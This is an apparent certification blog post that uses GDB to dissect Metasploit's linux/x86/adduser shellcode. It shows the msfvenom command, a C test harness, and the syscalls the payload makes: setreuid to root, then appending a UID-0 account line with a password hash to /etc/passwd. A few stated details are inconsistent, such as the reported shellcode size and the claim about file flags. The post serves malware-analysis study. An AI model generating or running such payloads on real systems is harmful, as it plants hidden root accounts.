This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-885
Assignment number: 5.1
Github repo:

Next assignment requires dissecting three linux/x86 MSF payloads using one of the following tools (GDB - ndisasm - libemu). In this post I’ll show how the linux/x86/adduser is executed using GDB.

1. Setting shellcode parameters

First let’s check the options for this module and try executing it.

[email protected]:~/Desktop/work# msfvenom -p linux/x86/adduser --payload-options  
Options for payload/linux/x86/adduser:  
       Name: Linux Add User  
     Module: payload/linux/x86/adduser  
   Platform: Linux  
       Arch: x86  
Needs Admin: Yes  
 Total size: 97  
       Rank: Normal  
Provided by:  
    skape <[email protected]>  
    vlad902 <[email protected]>  
    spoonm <[email protected]$>  
Basic options:  
Name   Current Setting  Required  Description  
----   ---------------  --------  -----------  
PASS   metasploit       yes       The password for this user  
SHELL  /bin/sh          no        The shell for this user  
USER   metasploit       yes       The username to create  
  Create a new user with UID 0  

I skipped over the advanced settings as they won’t be discussed in this post.

As for the basic options, there are 3 values we need to set: PASS, SHELL and USER. Executing the payload will create a user with UID 0 using the credentials provided (USER/PASS), using SHELL as default shell.

2. Generating shellcode

[email protected]:~/Desktop/SLAE# msfvenom -p linux/x86/adduser USER=abatchy PASS=killem -f c  
No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
No Arch selected, selecting Arch: x86 from the payload  
No encoder or badchars specified, outputting raw payload  
Payload size: 94 bytes  
Final size of c file: 421 bytes  
unsigned char buf[] =   

Next, let’s put the shellcode inside a C wrapper.

By Abatchy  
gcc adduserWrapper.c -fno-stack-protector -z execstack -o adduserWrapper.out  
#include <stdio.h>  
#include <string.h>  
unsigned char buf[] =   
int main()  
    printf("Shellcode size: %d\n", strlen(buf));  
    int (*ret)() = (int(*)())buf;  

Compile, run GDB and break on shellcode.

[email protected]:~/Desktop/workspace# gcc adduserWrapper.c -fno-stack-protector -z execstack -o adduserWrapper.out  
[email protected]:~/Desktop/workspace# chmod 777 adduserWrapper.out   
[email protected]:~/Desktop/workspace# gdb -q adduserWrapper.out   
Reading symbols from adduserWrapper.out...(no debugging symbols found)...done.  
(gdb) disass main  
Dump of assembler code for function main:  
   0x0804844d <+0>: push   ebp  
   0x0804844e <+1>: mov    ebp,esp  
   0x08048450 <+3>: and    esp,0xfffffff0  
   0x08048453 <+6>: sub    esp,0x20  
   0x08048456 <+9>: mov    DWORD PTR [esp],0x804a040  
   0x0804845d <+16>: call   0x8048330 <[email protected]>  
   0x08048462 <+21>: mov    DWORD PTR [esp+0x4],eax  
   0x08048466 <+25>: mov    DWORD PTR [esp],0x8048520  
   0x0804846d <+32>: call   0x8048310 <printf@plt>  
   0x08048472 <+37>: mov    DWORD PTR [esp+0x1c],0x804a040  
   0x0804847a <+45>: mov    eax,DWORD PTR [esp+0x1c]  
   0x0804847e <+49>: call   eax  
   0x08048480 <+51>: leave    
   0x08048481 <+52>: ret      
End of assembler dump.  
(gdb) break *0x804a040  
Breakpoint 1 at 0x804a040  
(gdb) r  
Starting program: /home/abatchy/Desktop/workspace/adduserWrapper.out   
Shellcode size: 40  
Breakpoint 1, 0x0804a040 in sc ()  

Shellcode disassembly:

Dump of assembler code for function sc:  
0x0804a040 <+0>: xor    ecx,ecx  
0x0804a042 <+2>: mov    ebx,ecx  
0x0804a044 <+4>: push   0x46  
0x0804a046 <+6>: pop    eax  
0x0804a047 <+7>: int    0x80  
0x0804a049 <+9>: push   0x5  
0x0804a04b <+11>: pop    eax  
0x0804a04c <+12>: xor    ecx,ecx  
0x0804a04e <+14>: push   ecx  
0x0804a04f <+15>: push   0x64777373  
0x0804a054 <+20>: push   0x61702f2f  
0x0804a059 <+25>: push   0x6374652f  
0x0804a05e <+30>: mov    ebx,esp  
0x0804a060 <+32>: inc    ecx  
0x0804a061 <+33>: mov    ch,0x4  
0x0804a063 <+35>: int    0x80  
0x0804a065 <+37>: xchg   ebx,eax  
0x0804a066 <+38>: call   0x804a090 <sc+80>  
0x0804a06b <+43>: popa     
0x0804a06c <+44>: bound  esp,QWORD PTR [ecx+0x74]  
0x0804a06f <+47>: arpl   WORD PTR [eax+0x79],bp  
0x0804a072 <+50>: cmp    al,BYTE PTR [ecx+0x7a]  
0x0804a075 <+53>: bound  eax,QWORD PTR [edi+0x66]  
0x0804a078 <+56>: push   eax  
0x0804a079 <+57>: cmp    BYTE PTR ss:[eax],bh  
0x0804a07c <+60>: dec    esi  
0x0804a07d <+61>: je     0x804a0e0  
0x0804a07f <+63>: cmp    dh,BYTE PTR cs:[eax]  
0x0804a082 <+66>: cmp    dh,BYTE PTR [eax]  
0x0804a084 <+68>: cmp    bh,BYTE PTR [edx]  
0x0804a086 <+70>: das      
0x0804a087 <+71>: cmp    ch,BYTE PTR [edi]  
0x0804a089 <+73>: bound  ebp,QWORD PTR [ecx+0x6e]  
0x0804a08c <+76>: das      
0x0804a08d <+77>: jae    0x804a0f7  
0x0804a08f <+79>: or     bl,BYTE PTR [ecx-0x75]  
0x0804a092 <+82>: push   ecx  
0x0804a093 <+83>: cld      
0x0804a094 <+84>: push   0x4  
0x0804a096 <+86>: pop    eax  
0x0804a097 <+87>: int    0x80  
0x0804a099 <+89>: push   0x1  
0x0804a09b <+91>: pop    eax  
0x0804a09c <+92>: int    0x80  
0x0804a09e <+94>: add    BYTE PTR [eax],al 

Awesome, now let’s analyze these instructions. We’ll be doing the following:
1. Put break points at interrupts or calls.
2. Observe any JMP behaviour.
3. Occasionally analyze instructions manually.

2.1. setruid(0,0)

Let’s set a break point at 0x804a047, command: break *0x804a047

EAX contains 70, which is for syscall setruid(). This function will set the real and effective UID.

syscall made: setruid(NULL, NULL)

Since both EBX (first argument) and ECX (second argument) are zeroes setruid(0,0) is executed. This is needed to have permissions to edit /etc/passwd.

2.2 open(“/etc/passwd”, O_WRONLY|O_APPEND, 0)

Next int 0x80 is at 0x0804a063`, let’s break at that.

5 is for syscall open(const char * filename, int flags, int mode)

syscall made: open("/etc/passwd", O_WRONLY|O_APPEND, 0)
Flags indicate file permissions are RWX.

On return, a file descriptor is stored in EAX for the opened file. It’s stored in EBX through the xchg eax, ebx command.

2.3 Writing to /etc/passwd

Next interrupt is at 0x0804a097, this part is brilliant. You’ll notice that at 0x0804a066 sc+80 is being called. Reason is that the string to be appended to /etc/passwd is between 0x804a06b and 0x804A0A1. Calling sc+80 pushes EIP (after being incremented, which happens to point onto our string) onto the stack. Take a moment to observe that in the screenshot:

To sum this part up:

  1. 0x0804a066 <sc+38>: call 0x804a090 <sc+80>
    Call sc+80, EIP is incremented to point at 0x804a06b (beginning of string) and pushed onto stack.

  2. 0x804a090 <sc+80>: pop ecx
    Store pointer to string in ECX

Let’s skip to 0x804a097.

4 is for write(int fd, const void* buf, size_t count);


syscall made: write(3, "abatchy:AzbGfP688Nta.:0:0::/:/bin/sh" , 37);
This will simply append the string to file descriptor 3, which is a reference to the opened file /etc/passwd.

2.4 Exiting

Pretty self-explanatory, code exits with status 3.


1. setreuid(0,0): Ensure real/effective UID is of root.
2. open("/etc/passwd, O_WRONLY|O_APPEND, 0): Open file and append to it.
3. write(3, "abatchy:AzbGfP688Nta.:0:0::/:/bin/sh" , 37);
4. exit(3)

- Abatchy